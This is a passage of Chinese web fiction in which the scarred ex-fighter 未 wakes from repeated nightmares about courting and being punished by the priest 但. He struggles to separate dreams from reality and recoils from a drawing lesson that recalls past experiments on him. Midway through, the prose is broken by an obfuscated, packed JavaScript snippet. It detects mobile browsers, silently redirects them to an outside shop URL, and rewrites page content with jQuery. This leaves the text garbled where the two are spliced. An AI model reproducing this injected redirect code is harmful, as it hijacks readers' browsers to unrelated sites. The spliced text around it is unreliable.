但低头看着那三颗纽扣,沉默了很久。忏悔室里只有光索微微旋转带来的、细碎的摩擦声,和未并不平稳的呼吸声。最终,但什么也没说,捡起纽扣,收起空碗,转身离开。直到他的脚步声消失在门外,未才缓缓吐出一口气,后知后觉地感到耳根烧了起来。他不知道自己为什么会那么做,那完全是下意识的反应——在他过去的经验里,弄坏了别人的重要东西(比如武器、工具),赔偿是停止追责最直接的方式。他只是……想停止但那种平静的、却让他更难受的“教学”和“纠错”。 惩罚临近结束时,未在又一次试图调整姿势(为了缓解脑部充血)时,偶然抬头,看到了光牢编织的顶部,在几根主要光索的交汇处,有一行极小、极工整的字迹,显然是用魔法瞬间蚀刻上去的。那不是古魔文,是通用语: “求爱禁用毒药、暗器及任何军用级材料。(附:植物也可能引发过敏,需提前报备)” 未盯着那行字,倒挂的血液似乎瞬间冲上了他的头顶,又轰然退去,留下一种空白的轰鸣。但知道了。但从一开始就知道那铜板是什么意图。他的愤怒,不仅仅是因为毒粉刺激了圣痕,更是因为……因为他用这种方式,把“求爱”这件事,变成了一次危险的、携带致命附件的“战术渗透”。 一种比被看穿作战意图更深层的、近乎赤裸的窘迫攫住了未。他猛地闭上了眼睛,仿佛这样就能隔绝那行小字带来的灼烧感。然而,当他被释放下来,四肢酸麻地站在坚实的地面上,被但用治愈术最后梳理了一遍体内残留的混乱能量后,那股说不清道不明的、混合着不甘、困惑和一丝奇异躁动的情绪,并没有平息。 几天后,但因为修补圣痕过度消耗,靠在餐桌边小憩。未的目光掠过但疲惫的侧脸,落在他手边那把喝汤用的银勺上。鬼使神差地,他拿起勺子,冰凉的银器触感让他指尖微颤。他用勺柄最尖锐的末端,在年深日久的木质餐桌上,极其缓慢、极其用力地,刻下了几道深深的划痕。那不是文字,更像是某种只有他自己能看懂的简略图示和标记。一个新计划的雏形,在他那被战术逻辑和失败羞耻感共同灼烧的脑海里,倔强地重新成型。 然而,当他真的抱着一束仔细检查过、确认没有任何魔法残留或致敏可能的野雏菊,在深夜蹲守在墓园那道安静的裂缝旁(这里魔力背景干净得像水),准备在但路过时执行他“趁其打喷嚏防御松懈时递出花束”的新方案时—— 他听到了但的脚步声,也听到了但似乎被夜风激起的、一个轻微的喷嚏声。但同时响起的,还有但用清晰而疲惫的声音,低低吐出的一句约束咒文: “以圣痕之名,禁止此人三年内使用植物求婚。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848512|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>微光一闪,未怀中的雏菊花茎上,凭空浮现出一对精巧的、由光尘构成的手铐,瞬间锁死。花朵以肉眼可见的速度萎蔫、凋零,花瓣还未落地便化为细碎的光点消散。 未抱着瞬间空荡、只剩枯萎茎秆和那副虚幻手铐的“花束”,呆呆地站在墓园冰凉的夜风里。手铐没有温度,也没有重量,却比任何金属镣铐都更沉重地扣在他的手腕上,不,是扣在他那套刚刚重建起来的、脆弱的“求爱行动逻辑”上。 远处的但似乎叹了口气,脚步声渐渐远去,留下未一个人。 未慢慢蹲下身,把枯萎的茎秆放在地上。一种前所未有的感觉淹没了他。不是任务失败的懊恼,不是遭受惩罚的疼痛,也不是被揭穿的羞耻。而是一种更尖锐、更无处着力的荒谬感和挫败感。他经历过无数生死,忍受过各种痛苦,但从未有一次,像此刻这样,让他觉得自己的所有计算、所有观察、所有精心准备的“步骤”,在但那轻飘飘一句咒语和魔法面前,显得如此……可笑,如此徒劳,如此的不合时宜。 被魔法惩罚,原来比被杀四十次,还要令人感到……无地自容。因为他突然模糊地意识到,但划下的这条界限,不仅仅关乎安全,更关乎一种他完全陌生、也无法理解的“规则”。而他,似乎永远也学不会,在这套规则里,正确地表达那团在他胸腔里左冲右突、却始终找不到出口的混乱情感。 晨光不是渐渐亮起的,而是像一把粗糙的锉刀,猛地刮开了未眼皮内侧那层黏稠的黑暗。他倏地睁开眼,不是惊醒,是一种从太过逼真、太过绵长的粘稠梦魇中,被生生剥离出来的窒息感。 喉咙干得发疼,像真的呛过血。他僵硬地躺在那张硬板床上,视线空洞地落在低矮天花板的某处污渍上。感官缓慢地、带着刺痛地归位:身下粗糙亚麻床单的触感,窗外远远传来的、规律到令人心安的晨祷钟声,还有自己胸腔里,那颗正以一种稳定得近乎冷漠的节律跳动的心脏。 没有倒挂的眩晕感,没有光索缠绕皮肤的温暖束缚,没有银铃铛声混合着古魔文诵读的魔音灌耳。指尖完好,没有被毒草反噬的麻痹或灼痛,也没有沾着蚀刻铜板后的金属碎屑和……那该死的、他以为早已彻底清理掉的麻痹粉末。 是梦。不对,之前的经历有多少是梦,有多少是真的? 一个荒诞、冗长、细节逼真到令人发指,并且严格按照他思维中最熟悉的“计划-执行-意外-后果-应对”逻辑链条推进的……怪梦。 未缓慢地坐起身,动作有些迟滞。梦境的残像还在视网膜上燃烧:但灰白失色的长发,圣痕暴走时炸裂的银光,忏悔室里飞舞的尘埃,还有那行刻在光牢顶端的、带着冰冷禁止意味的小字。以及最后,墓园裂缝旁,怀中雏菊瞬间枯萎消散时,那股淹没全身的、尖锐的荒谬与挫败。 他的手下意识地摸向枕下。金属小盒还在,里面几缕冰蓝色的发丝安然无恙。但的头发没有变白。他又低头,掀开单薄的被子,检查自己的手腕、脚踝。皮肤完好,只有常年累积的旧伤疤,没有任何新鲜的光索勒痕,也没有那副由光尘构成的、虚幻却沉重的手铐。 一股说不清是庆幸还是更深的无力感的情绪,缓慢地涌上来,堵在胸口。庆幸那一切未曾发生,但的圣痕没有因他而暴走,但的头发没有因他而失去颜色,他没有真的搞砸到需要被倒挂起来背诵圣典。可正因它是梦,才更赤裸地暴露了他潜意识里最深的恐惧与认知。 在他的潜意识里,求爱等同于一次高风险的战术行动,需要周密计划,并且必然伴随着不可预测的、灾难性的意外。而但的回应,在他梦的逻辑里,不是拒绝或接受,而是一次精准的、带着祭司守则烙印的魔法惩戒和规则修订。他甚至梦到了“惩罚”的具体形式——那温暖的光牢、治愈的折磨、荒谬的家庭作业……那简直是但的温柔与他自身罪责感混合发酵后,产生的最符合逻辑的怪诞产物。还有最后那条“三年禁令”,更是将他现实中那种“不知如何正确表达”的无力感,直接具象化为了一道冰冷的魔法约束。 未在床上坐了很久,直到晨光将房间的轮廓清晰地勾勒出来。他下床,脚步有些虚浮地走到房间角落,那里放着一个陶盆,里面是他之前试图种点什么留下的干涸泥土。他盯着那片泥土,仿佛又看到了梦中枯萎消散的雏菊花瓣。 他转身,推开房门。清晨微冷的空气涌入肺叶,带着青草和石头的味道。他朝着但房间的方向走了几步,却在拐角处停下。但的房门紧闭,里面没有任何声响。 未靠在冰凉的石头墙壁上,仰起头,闭上眼睛。梦中的感觉太真实了,真实到他此刻似乎还能隐约闻到但圣痕暴走时,空气里那股特殊的、混合着灼热与冰冷的气息。也能感受到,当但用那种平静到近乎残酷的声音,指出他把“永恒”写成“囚禁”时,那种穿透梦境的、尖锐的羞耻和……某种更深的东西。 他不是故意要搞砸一切。他只是……不知道除此之外,还能怎么做。他习惯了计算风险、准备预案、处理后果。可“喜欢”这件事,似乎完全存在于这套逻辑之外。它没有清晰的敌人,没有明确的目标坐标,没有可量化的成功标准,甚至没有一份可靠的手册。而他唯一能参考的过往经验,都指向扭曲与伤害。 所以他的潜意识,只能将他最熟悉的模式,笨拙地套用在这个陌生的领域,然后生产出了这样一个光怪陆离、让他醒来后浑身发冷的噩梦。 脚步声从但房间的方向传来,轻而稳。 未立刻睁开眼,身体下意识地站直,收敛了所有外露的情绪,恢复成平日里那种沉默的、带着些许戒备的姿态。仿佛刚才靠在墙上那一瞬间的脆弱,只是晨光造成的错觉。 但走了出来,手里拿着一卷羊皮纸,似乎准备去藏书室。他的头发依旧是那种干净的冰蓝色,在晨光中流淌着微光。脸色有些苍白,眼下有淡淡的阴影,那是长期被圣痕折磨和过度工作的痕迹,但与梦中那种因能量反噬而瞬间灰白的骇人景象截然不同。 他看到未站在拐角,脚步微顿,目光平静地扫过来。 两人对视了片刻。清晨的走廊安静无声。 “……早。”但先开口,声音带着刚醒不久的微哑,但很平稳。 未的喉咙动了动,那句“早”在舌尖滚了一下,最终只化作一个点头。他的目光飞快地从但的头发,滑到他的脖颈,再落到他拿着羊皮纸的手上。 一切正常。与噩梦毫无关联的正常。 但似乎察觉到了未比平日更甚的沉默和那份细微的审视。他微微偏了下头,问:“没睡好?” 未立刻摇头,动作有些快。他移开视线,看向走廊尽头的窗户,那里阳光正在变得明亮。“……做了个梦。”他最终说道,声音干涩。他无法说出梦的内容,但那承认本身,已经是一种反常的坦诚。 但沉默了一下,没有追问是什么梦。他只是轻轻“嗯”了一声,然后说:“厨房有热牛奶。今天可能要整理一批新到的古籍,字迹很潦草,或许需要你帮忙看看有没有……危险的缩写或暗号。”他用了未能理解的、带着一点淡淡自嘲的语气,仿佛在说一件寻常的工作。 这平常的对话,这日常的安排,像温暖的潮水,慢慢冲刷着未梦境残留的冰冷和荒谬感。但没有变成梦里那个被触怒的、施展魔法惩戒的祭司,他还是那个会疲惫、会需要帮忙整理古籍、会提醒他去喝热奶的但。 未又点了点头,这次幅度稍微大了点。“……好。” 但看了他一眼,似乎想说什么,但最终只是又“嗯”了一声,拿着羊皮纸,从他身边走过,朝着藏书室的方向去了。脚步声渐行渐远。 未独自站在走廊拐角,晨光已经完全照亮了这里。他低下头,看着自己摊开的手掌。掌心有常年握持武器留下的茧,有各种细小伤疤,但此刻,在阳光下,它们只是安静的、属于他身体的一部分痕迹。 没有光索的勒痕,没有虚幻的手铐。 他慢慢地、慢慢地收紧手指,握成了拳。梦是假的,但梦里那份手足无措的恐慌,那份害怕因自己而伤害到但的恐惧,是真的。 而但刚才的反应,那平淡的关心,那寻常的委托,像一根细细的、却异常坚韧的丝线,将他从那个荒诞冰冷的梦境深渊边缘,轻轻地、稳稳地,拉回了这个有着热牛奶和潦草古籍的、不完美却真实的清晨。 未松开拳头,深吸了一口气,清晨微凉的空气充满胸腔。他转身,朝着厨房的方向走去。 脚步依旧有些沉,但已经踏在了坚实的地面上。 梦醒了。而醒来后的世界,虽然问题依旧无解,虽然他自己依旧笨拙而充满不安,但至少,但还在那里,用他那种沉默的、带着祭司守则与个人温柔奇妙混合的方式,存在着。 28. 【十二】间章3 未又从一场颠簸混乱的梦境中挣扎着醒来,后背的衣物被冷汗浸湿,紧贴着皮肤,带来一阵不舒服的凉意。梦境没有清晰的画面,只有混乱的感官碎片:冰冷的岩壁触感,暗蓝色的、令人心悸的光晕,手背上灼烧的剧痛,以及……但苍白脸上欲言又止的神情。这些碎片扭曲、旋转,最后沉入一片黏稠的黑暗。 他坐起身,靠在冰冷的石墙上,喘息片刻。晨光透过高窗,在地板上投下斜斜的、毫无暖意的光斑。他抬起左手,看向手背。皮肤光滑,只有几道旧伤留下的淡白色痕迹,没有任何新鲜的灼伤。他又摸了摸额角和颧骨,同样,只有记忆中更久远的、几乎摸不出来的旧疤。 不对。 记忆清晰地告诉他,就在几天前,他从一个后山的岩洞回来,手背和脸上带着新鲜的伤口。他还带回来一块深蓝色的碎石片,研磨后混进了给但的药膏里。他还和但进行了一场关于“盟友”和“圣痕破解”的奇怪对话。 可是……后山有那样的岩洞吗?他记得自己为了给但找冷苔,确实去过教堂后山背阴的岩缝。那里潮湿,长着些低矮的蕨类和苔藓,但岩壁坚实,绝没有什么深邃的、会渗出蓝光的通道入口。他当时只是在岩缝表层采集,很快就回来了。 难道那个深入岩洞、面对诡异结晶、受伤、带回碎石片的经历……是梦? 但那份记忆的质感太过清晰。岩石的冰冷硌人,蓝光在瞳孔中留下的残影,灼伤处皮肤焦裂的触感,碎石片在掌心的重量和冰凉……甚至但为他处理伤口时,药膏触及皮肉的清凉和刺痛,都历历在目。 未感到一阵眩晕,心脏在胸腔里沉闷地撞击着。他掀开被子下床,走到房间角落,那里放着他平时存放一些零碎“工具”和“材料”的旧木箱。他打开箱子,翻找着。没有用布料包裹的、人头大小的不明物体,也没有那块深蓝色的碎石片。箱子里只有他惯常收集的一些小玩意儿:磨尖的金属片,不同韧性的绳索,几包自制的、用途各异的粉末,还有一些干枯的植物标本。 他的目光落在箱子最底层,一个用油纸仔细包好的、巴掌大的小包上。他把它拿出来,解开系着的细绳。里面是一小罐颜色暗沉、质地均匀的药膏,散发出甘菊和薄荷混合的清凉气味,和他记忆中第一次给但配制的药膏一模一样。旁边还有一小包用另一种油纸包着的、更细腻的灰绿色粉末,气味更凛冽一些,是他后来尝试加入“冷苔”粉改进的配方。 没有新药膏。 未捏着那个小药罐,指尖微微发凉。他清楚记得自己把那块碎石片磨粉,混入药膏基底,搅拌……那罐新药膏应该就在这里。可是没有。 是梦。那个完整的、从发现异常、深入探查、到带回材料、改进药膏的链条,是梦。 一股强烈的荒诞感和不安攫住了他。那几天,自己到底在干什么?如果岩洞是梦,那和但关于“盟友”和“圣痕结构”的对话呢?也是梦吗? 混乱的记忆碎片开始互相碰撞、质疑。哪些是真实发生的?哪些是自己臆想出来的?他想起更早之前,自己似乎还曾试图用战术推导的方式去分析但的圣痕,画了复杂的图纸……那个图纸呢? 他猛地起身,冲向桌边,翻找那本《基础古魔文构词法》。书页间空空如也,没有任何画满推导公式的纸张。他翻遍了自己可能放东西的地方,一无所获。 像精神分裂了一样。 这个念头冰冷地钻进他的脑海。他听说过这种病症,在黑市里,一些经历了过于残酷战斗或实验的人,有时会分不清现实和幻象,记忆错乱,行为怪异。难道自己也……? 不,不对。有些感觉是真实的。对但圣痕疼痛的关注是真实的,想要做点什么的心情是真实的,甚至那种想要理解、想要“修理”的冲动也是真实的。但具体的行动、事件……似乎蒙上了一层不真切的薄雾。 他需要确认。 未走出房间,来到但的房门外。门虚掩着,里面传来但低低的咳嗽声,还有纸张翻动的窸窣声。他敲了敲门。 “请进。”但的声音听起来有些疲惫。 未推门进去。但正坐在桌边,面前摊着一些文书和卷宗,他的一只手无意识地按在胸口偏下的位置,眉头微蹙,脸色在晨光下显得有些苍白。 看到未进来,但抬起眼,脸上露出一丝惯常的、温和的询问神色:“未?这么早,有什么事吗?” 未站在门口,没有立刻进去。他的目光仔细地扫过但的脸,似乎在寻找某种印证。但的脸色确实不好,带着疲惫,眉心因为不适而微蹙,这些细节和他记忆中对但“圣痕不适”的观察吻合。 “后山,”未开口,声音因为紧张和困惑而显得有些干涩,“教堂后山,背阴的那片,有没有……比较深的岩洞?不是那种浅的岩缝,是能进去人,比较深,可能……有奇怪石头或者痕迹的那种。” 但愣了一下,似乎没想到未会问这个。他放下手中的笔,认真想了想,然后摇头:“据我所知,没有。后山主要是些风化岩和灌木,有几个浅的岩缝和凹处,你说的那种能深入、还有特别石头或痕迹的岩洞……教堂的建造记录和区域勘测图里都没有提及。至少近百年内没有。”他顿了顿,关切地问,“怎么突然问这个?” 未的心沉了下去。但的回答很肯定,而且基于教会的记录,可信度很高。 “那……”未舔了舔有些发干的嘴唇,继续问,这个问题让他感到一阵莫名的难堪和不安,“前几天,我……我是说,大概三四天前,我是不是……出去过?比如,晚上?或者有一段时间不在房间里?” 但的脸上浮现出更明显的疑惑和担忧。他仔细看着未,似乎在判断他是不是身体不舒服或者遇到了什么麻烦。“三四天前?你一直在这里啊。”但的语气很肯定,“那几天天气不好,阴雨连绵,你大部分时间都待在房间里,要么看看书,要么……嗯,有时候会过来坐坐,但很少出门。晚上更是没有出去过。怎么了,未?你觉得自己出去了?是梦到了什么吗?” 一直在这里。没有出去过。是梦。 但的回答像最后的砝码,压垮了未心中那点残存的、关于岩洞真实性的侥幸。一股冰冷的虚脱感从脚底升起。那几天的经历,那些清晰的细节,那些紧张、危险、以及带回“解药”的隐隐成就感……全都是他脑子里的幻象。 “……是梦。”未低声承认,声音轻得像叹息。他感到一种前所未有的混乱和孤立。如果连自己亲身经历的记忆都不可靠,那还有什么可以相信? 但站起身,走到未面前,距离不远不近,带着恰到好处的关切。“你梦到了岩洞?能跟我说说吗?有时候梦境会反映一些潜意识里的担忧。”他的声音很温和,带着引导的意味。 未摇了摇头。他没法描述那个过于详细、逻辑自洽的“梦”,那听起来只会更像疯子的呓语。他转而问出了另一个,或许能帮助他锚定现实的问题: “那……药膏呢?”未抬起眼,直视着但,“我给你的,治圣痕疼痛的药膏。我改过配方。这个,是真的吗?我给你……涂过药吗?” 问出最后一句时,未的耳根控制不住地有些发热。这个问题涉及了更私密、更逾越界限的接触。 但的脸上,清晰地浮现出一抹红晕,从脸颊蔓延到耳尖。他没有立刻移开目光,但眼神里闪过一丝窘迫和……其他的、未暂时无法解读的复杂情绪。他轻轻点了点头,声音也比刚才低了一些:“嗯。药膏是真的,很有效,谢谢你。涂药……也有过。”他停顿了一下,似乎在斟酌词句,“你……很细心。虽然一开始手法有点生硬。” 这个反应像一颗投入混乱心湖的石子,激起一圈确定的涟漪。至少这部分不是梦。他确实关注着但的疼痛,确实去配了药,也确实……曾有过那样近距离的、逾越常规的接触。那些触碰的记忆,指尖下皮肤的微热和圣痕纹路的凸起,但压抑的轻颤和自己笨拙的调整……这些感官细节此刻变得异常鲜明,压过了虚幻岩洞的冰冷触感。 “哦。”未应了一声,不知道接下来该说什么。确认了这部分真实,反而让那庞大的、虚假的岩洞经历显得更加诡异和令人不安。为什么他的大脑会编织出那样一个完整、危险、且带有明确“解决问题”导向的幻梦?就好像……他的潜意识在拼命寻找一种方式,来应对但的痛苦,甚至不惜虚构出离奇的冒险和“特效药”? 但看着未脸上变幻不定的神色,那迷茫、困惑、以及一丝不易察觉的恐惧,心中的担忧更甚。他想起之前未那些过于专注、甚至有些偏执地观察和研究圣痕的迹象,再联系到现在未对梦境的混淆和不安…… “未,”但的声音更加温和,带着安抚的意味,“你最近是不是……压力太大了?或者,有没有哪里不舒服?比如头痛,或者感觉特别疲惫,记忆模糊?” 未摇了摇头,又点了点头。“有点……乱。”他承认,“分不清哪些是真,哪些是……我脑子里想的。”他无法准确描述那种感觉,仿佛有另一个自己,在意识的暗处导演着不属于他的戏码。 但沉默了片刻。他想起未的过去,那些血腥的战斗、非人的实验、在黑市挣扎求生的经历。强烈的创伤后应激,有时确实会导致解离症状、闪回,甚至混淆现实与记忆。未现在的状态,很可能与此有关。 “听着,未,”但轻声说,语气是前所未有的认真,“如果你再感觉到混乱,或者分不清是梦还是现实,随时可以来找我。告诉我你看到的,感觉到的,哪怕是再离奇的事情。我们可以一起弄清楚。不要自己一个人扛着,好吗?” 这不是敷衍的安慰。但的眼神很认真,带着承诺的意味。他没有把未的困惑简单归结为“胡思乱想”,而是接纳了这种混乱的存在,并愿意成为他辨别真实的一个锚点。 未看着但的眼睛,那双总是温和包容的蓝色眸子里,此刻映着自己的身影,清晰而稳定。胸膛里那股冰冷的、因自我怀疑而生的慌乱,似乎被这目光安抚了少许。他需要一个锚点。而但,在诸多不确定中,似乎是可以触碰到的、相对稳定的真实。 “嗯。”未再次应道,这次声音稳定了一些。 “另外,”但似乎犹豫了一下,才继续说,耳廓的红晕还未完全褪去,“关于药膏……如果你不介意,下次……可能还需要帮忙。”他说得有些艰难,但意思明确。他接受了这种逾越常规的照料,甚至主动提出了需求。 这不仅仅是对药膏效果的认可,更是对未那笨拙“关心”形式的接纳,是对他们之间这种特殊信任和亲密界限的再次确认。 未愣了一下,随即点了点头,动作有些僵硬。“……好。” 对话似乎到此为止了。但未没有立刻离开,但也没有继续追问。房间里安静下来,只有窗外偶尔传来的鸟鸣和远处隐约的钟声。 未站在那里,目光无意识地落在但按在胸口的手上。真实的药膏,真实的触碰,真实的但此刻的疲惫与不适,这些细节构筑起一小片坚实的土地,让他从那个虚幻的、充满蓝光与危险的岩洞梦境中,暂时脱身出来。 他默默转身,离开了但的房间。回到自己那间狭小冷清的房间后,他再次打开那个旧木箱,拿起那罐真实的、由他亲手配制的药膏。冰凉的陶罐握在手中,散发着熟悉的草木清香。他用指尖蘸了一点,凑到鼻尖嗅了嗅,清凉的气息直冲鼻腔。 这是真的。 …… 未猛地睁开眼,额头上是一层冰凉的虚汗。忏悔室木质的穹顶在昏暗的光线里安静地悬着,没有银光,没有蛛网,没有被倒挂起来的吊篮。手指蜷缩了一下,指甲深深掐进掌心,带来一阵实在的、属于自己的痛感。没有麻痹粉,没有咳血,口腔里只有干涩。 又是那个梦。 混乱、荒诞、充斥着不可能发生的魔法反应和……一些让他胃部不适的、粘稠的、难以定义的情绪。未撑着地面坐起来,背靠着冰冷的墙壁。梦里他好像策划了什么,失败了,然后被用一种极其屈辱的方式困住。他闭了闭眼,压下喉头泛起的恶心感。被控制,被摆布,被当成什么东西一样观赏和惩戒——哪怕梦里那个施加这一切的对象是但,也足够让他浑身肌肉瞬间绷紧,像被无形的针扎过。 博士的脸在记忆的黑暗里模糊地晃了一下,未立刻强制自己切断那个联想。几点了?但应该已经结束晨祷,在图书室或者后廊。未习惯性地开始思考这些,不是为了什么战术目的,仅仅是生存习惯的一部分:掌握环境,掌握关键人物的动向。这能让他感觉安全一点,哪怕只有一点点。 他走出忏悔室,清晨稀薄的阳光透过彩窗,在地面投下破碎的颜色。没有刻字的铜板,没有干花标本,地板干净得反光。在教堂乱刻乱画?那代价可不是梦里那种儿戏般的“罚钱”。未很清楚现实的规则,它们通常更沉默,也更沉重。 在回廊拐角,他遇到了但。祭司抱着一摞厚重的典籍,蓝发从肩头滑落一缕。看到未,他脚步顿了顿,目光在未略显苍白的脸上停留了一瞬。 “没休息好?”但的声音很平稳,听不出梦里那种冰锥似的质感,只是寻常的询问。 “做了个怪梦。”未简短地回答,侧身让开路。他不想多谈梦的内容,任何一个细节说出来都显得愚蠢透顶。求爱?战术级告白?他连自己心里那团时不时搅动一下的、陌生的躁郁是什么都还没搞清楚,告什么白。那太遥远了,遥远得像另一个世界的事。他现在只想确保自己能站稳,能呼吸,能避开所有让他想起实验室和手术台的东西。 但似乎接受了他这个简单的说法,没有追问。他调整了一下抱书的姿势,忽然说:“对了,上次你问的那个,关于北境狼毒草抑制魔法回路过度活跃的假设……” 未抬起眼。 “我查了一些边境医者的手札,虽然记载模糊,但确实有类似以毒攻毒的案例。不过风险极大,几乎等同于自毁。”但看着他,眼神里有一种探究,但更多的是陈述事实的平静,“你从哪里看到这个偏方概念的?” 梦境碎片闪过:酸液蚀刻的铜板,沾了毒粉的字纹,暴走的圣痕。未面不改色,脑子飞快运转:“……黑市流传的残页,字迹不清,我可能理解错了成分或剂量。”这个借口很合理,他在黑市混迹的时间不短,接触到乱七八糟的东西太正常了。 但点了点头,看不出是信了还是没信。“以后这类资料,最好先让我看看。很多民间传闻是陷阱,或者被夸张扭曲了。”他没有责备,只是提醒,然后抱着书继续往前走。 几天后,但提出要教他一点基础的绘画,理由是“有助于静心,也能更精确地记录一些草药或符文的形态”。未当时的第一反应不是战术图,不是计算阴影面积,而是一种从脊椎窜上来的、尖锐的排斥感。握住笔,描摹,按照他人的指令去勾勒线条……这个动作本身,就裹挟着太多不好的记忆。博士也曾让他“画”,画出痛觉的分布,画出承受极限的曲线,那不是什么艺术,那是另一种形式的测量和记录,为他下一次的“实验”提供数据。 未的手指在身侧蜷紧了,指节泛白。他几乎要立刻拒绝。 但似乎察觉到了他瞬间的僵硬,补充道:“只是很随意的练习,不想画也可以。或者,你可以只看我画。”他的态度很松弛,没有强迫的意思,甚至带着一点“这其实也没什么用,试试看而已”的随意感。 未紧绷的神经稍微松了一根弦。只是看。观察。这他可以做到。 他们坐在图书室靠窗的位置,下午的阳光把空气里的尘埃照得清晰可见。但真的拿出一本素描本和铅笔,挽起了祭司袍的袖子。他的小臂线条清晰,皮肤是一种久不见日光的苍白。然后,他解开了领口的一颗扣子,微微扯开衣襟。 未的呼吸滞了一下。 锁骨下方,一道疤痕露了出来。颜色比周围皮肤略深,是陈旧的肉粉色,没有任何珍珠母贝的光泽,更不会发光。它静静地趴在那里,形态确实有些扭曲,像某种丑陋的虫子干瘪后的遗骸。 “这是圣痕。”但用铅笔的尾端虚虚点了点那里,“王室留下的‘认证’。没什么特别的,就是一道疤。” 未的视线牢牢钉在那道疤痕上。 “要试着画画看吗?就当是……记录一道伤口。”但的声音把他从冰冷的数据流里拉出来。 未猛地回过神,发现自己不知道什么时候已经接过了但递过来的铅笔。笔杆还残留着但指尖的温度。这个认知,连同“握住笔”这个动作本身,以及但刚才那句“记录一道伤口”,突然混合成一种强烈的、令人作呕的既视感。 博士的声音仿佛在耳边响起:“记录下这个数值。”“画出你现在的感觉。”“很好,数据很精确。” 未的手抖了一下,不是轻微的颤抖,而是从手腕开始的一种失力般的震颤。铅笔“啪”一声掉在素描本上,又滚落到桌面。他的脸色可能变得更难看了,因为他感觉到自己后背瞬间渗出的冷汗。 “怎么了?”但问,语气里带着一丝真实的疑惑和关切。 未张了张嘴,发现喉咙发紧。他不能说是因为联想到了博士,那会暴露太多。他也不能说自己在分析这道疤的致命弱点和行动限制,那更可怕。他垂下眼睛,避开但的视线,盯着桌面的木纹,干巴巴地挤出一句话:“……不会画。手笨。” 这个理由苍白无力,甚至有些蠢。但没说话。 沉默在两人之间蔓延,只有窗外偶尔传来的鸟叫。未觉得时间变得粘稠难熬,每一秒都让他想立刻站起来离开。他刚才的反 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未看着他低垂的侧脸,长长的银色睫毛在眼睑下投出淡淡的阴影。但的神情很平静,甚至可以说是温和的,和梦里那个用光牢和铃铛惩罚人的祭司判若两人。现实中,但很少动用魔法,更别提什么魔力暴走了。他的力量是内敛的,隐藏在每日的祈祷、阅读、调配草药和那些沉默的、带着距离感的温柔之下。 未忽然意识到,但此刻的专注,和他自己那种在极端压力下被迫的、高度紧张的观察完全不同。但是在“描绘”一道伤痕,坦然地,甚至可以说是平静地。这种坦然,未无法理解。如果是他自己身上有这样一道来自他人施加的、代表控制的烙印,他大概会想尽一切办法挖掉它,或者用更多别的伤痕去覆盖它、混淆它。而不是这样……平静地展示,甚至描绘它。 “好了。”但放下笔,把素描本转过来给未看。 纸上的线条干净利落,准确地抓住了那道疤痕的形态特征。没有分解成十七段弧线,没有标角度,没有背景的心跳圆点,更没有藏着什么追踪器的划痕。它就是一张简单的、甚至可以说有些枯燥的伤痕素描。阴影处理得很克制,只是为了表现立体感,绝非为了计算什么□□的视觉遮蔽效果。 “像吗?”但问。 未点了点头。像,太像了,像得让他有点不适。这种把伤痕固定到纸上的行为,仿佛赋予了它另一种形式的存在感。 “其实画下来,也就是这么回事。”但用手指抚过纸上的线条,又轻轻碰了碰自己锁骨下的皮肤,“看久了,它就只是一道疤。王室想用它提醒我很多事,但最终,它只是我身体的一部分而已。” 这句话很轻,却像一颗小石子投入未沉寂的心湖。只是一道疤。身体的一部分。但接受它的方式是如此……平淡。未无法想象这种平淡。他身上的每一道旧伤,博士留下的,或是为了逃离博士而添上的,都还在隐隐作痛,都在尖叫着提醒他过去的每一次失败、每一次疼痛、每一次身不由己。他无法“接受”它们,它们是他想要剥离的污点,是刻在灵魂上的耻辱标记。 他看着但平静的侧脸,第一次模糊地感觉到,但和他,或许是活在两种完全不同伤痛里的人。但的伤是显性的,被认可的,甚至被赋予意义的。而他的伤是隐性的,肮脏的,不被看见也不能被提及的。但可以这样坦然地展示疤痕,甚至教别人画它。而他,连握住一支笔,都可能引发一场内心的海啸。 “你……”未听见自己的声音有些涩,“不恨吗?” 话一出口,他就后悔了。这问题越界了,太私人了,暴露了他过多的关注。 但似乎怔了一下,他转过头,看着未。阳光在他银灰色的眼眸里流淌,让那眼神显得有些难以捉摸。他没有立刻回答。 未移开了视线,觉得脸颊有些发烫,不是因为悸动,而是因为尴尬和一种暴露后的不安。他今天太不对劲了,都是那个该死的梦搅的。 “恨是一种太消耗精力的情绪。”但终于开口,声音依旧平稳,“而且,恨这道疤,或者恨留下它的人,并不能让它消失,也不能改变我的处境。它就在这里。”他又轻轻点了一下纸上的疤痕图画,“我承认它存在,然后,做我该做的事。” 做我该做的事。未咀嚼着这句话。但该做的事是什么?履行祭司的职责?研究那些草药和古籍?还是在某种更深的层面,维持着一种内心的秩序? 未不懂。他习惯的应对方式是战斗,是计算,是逃离,或者在无法逃离时忍受并寻找下一次机会。他很少去思考“接受”和“与之共存”这样的选项。那听起来像是投降。 但合上了素描本,把铅笔收好。“看来今天不太适合画画。”他站起身,整理了一下袍子,“下次……如果你还想看,我们可以试试画点别的。教堂后院的野雏菊开了,也许画那个会轻松点。” 野雏菊。未的脑子里条件反射般地蹦出梦里的片段:抱着花束蹲点,然后被光尘手铐锁住枯萎的花茎,还有那句“禁止此人三年内使用植物求婚”。他的胃又抽搐了一下。 “……再说吧。”未低声道,也站了起来。他需要独处,需要把梦里那些荒唐的影像和现实里这种复杂的、令人烦躁的平静切割开。 那天晚上,未又做梦了。还是那个教堂,但场景变成了图书室。他在梦里画着但的疤痕,但画出来的线条自动变成了等高线地图,标注着火力点和逃生通道。但站在他身后看着,没有说话,然后忽然伸手握住了他拿笔的手。未在梦里剧烈地挣扎起来,不是因为心动,而是因为那种被掌控的恐惧瞬间淹没了他。笔尖刺破了纸张,也刺破了但的手指,流出的不是血,而是闪光的银尘。但却笑了,说:“你看,你还是在画战术图。” 未惊醒了,坐在床上喘息。窗外是真实的、沉静的夜色,没有银尘。他低头看着自己的手,梦里被但握住的感觉似乎还残留着,引起一阵生理性的反胃。 